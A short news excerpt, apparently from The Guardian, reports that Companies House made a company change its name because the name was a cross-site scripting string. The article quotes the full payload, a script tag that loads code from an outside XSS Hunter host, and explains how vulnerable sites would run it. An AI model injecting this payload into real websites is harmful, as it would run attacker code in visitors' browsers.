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Company forced to change name that could be used to hack websites

Software firm’s director thought name using HTML would be ‘fun and playful’. But Companies House has forced a company to change its name after it belatedly realised it could pose a security risk.

The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.

Source: Company forced to change name that could be used to hack websites | UK news | The Guardian

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